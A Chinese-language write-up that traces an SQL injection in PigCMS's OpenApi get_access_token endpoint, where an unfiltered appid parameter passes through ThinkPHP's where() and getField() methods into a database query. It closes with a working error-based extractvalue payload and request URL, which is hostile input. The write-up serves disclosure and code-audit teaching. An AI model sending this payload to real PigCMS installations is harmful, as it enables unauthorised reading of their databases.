一、背景

这个洞是很久以前刚学习代码审计的时候发现的,其中还找到了一个thinkPHP的漏洞,虽然后来发现p牛很早就已经公布了这个洞,但是作为刚入门时独立挖到的还是留个纪念吧,BTW,这篇文章的重点并不在PigCMS,因为这个系统的漏洞实在太多了。

二、漏洞详情

  • GPC == OFF

首先定位到问题文件:PigCms\Lib\Action\Home\OpenApiAction.class.php
函数内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function get_access_token(){
$post = array(
'appid' => $this->_post('appid','trim'),
);
$info = M('Wxuser')->where("appid='{$post['appid']}'")->getField('id');
if(empty($info)) {
$return = array(
'errCode' => 10001,
'errMsg' => '无效的appid',
);
} else {
$apiOauth = new apiOauth();
$access_token = $apiOauth->update_authorizer_access_token($post['appid']);
$return = array(
'errCode' => 0,
'errMsg' => 'success',
'access_token' => $access_token,
);
}
echo json_encode($return);
}

该函数未经任何过滤就将appid传递给了where函数,再来看where函数内容(该函数是由TinkPHP提供的SQL语句构建函数):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);
$where = vsprintf($where,$parse);
}elseif(is_object($where)){
$where = get_object_vars($where);
}
$this->options['where'] = $where;
return $this;
}

可以看到传递进来的where变量是一个字符串,并且parse参数为null,所以即不满足if语句也不满足elseif语句,直接将where变量赋值给了options数组。完成了where函数接下来看getField函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public function getField($field,$sepa=null) {
$options['field'] = $field;
$options = $this->_parseOptions($options);
$field = trim($field);
if(strpos($field,',')) { // 多字段
$options['limit'] = is_numeric($sepa)?$sepa:'';
$resultSet = $this->db->select($options);
if(!empty($resultSet)) {
$_field = explode(',', $field);
$field = array_keys($resultSet[0]);
$key = array_shift($field);
$key2 = array_shift($field);
$cols = array();
$count = count($_field);
foreach ($resultSet as $result){
$name = $result[$key];
if(2==$count) {
$cols[$name] = $result[$key2];
}else{
$cols[$name] = is_string($sepa)?implode($sepa,array_slice($result,1)):$result;
}
}
return $cols;
}
}else{ // 查找一条记录
// 返回数据个数
if(true !== $sepa) {// 当sepa指定为true的时候 返回所有数据
$options['limit'] = is_numeric($sepa)?$sepa:1;
}
$result = $this->db->select($options);
if(!empty($result)) {
if(true !== $sepa && 1==$options['limit']) return reset($result[0]);
foreach ($result as $val){
$array[] = $val[$field];
}
return $array;
}
}
return null;
}

由于getField函数调用的地方只传递进来一个id参数,因此程序进入else分支并到达数据库查询语句处:

1
$result = $this->db->select($options);

db变量是ThinkPHP自建的数据库查询对象,通过处理options数组提供的各项参数构造好语句后就传递给MySQL执行。由此造成了SQL注入。

三、PAYLOAD

1
2
URL: http://127.0.0.1/index.php?g=Home&m=OpenApi&a=get_access_token
POST: appid=' and extractvalue(1,concat(0x5c,(select version())))%23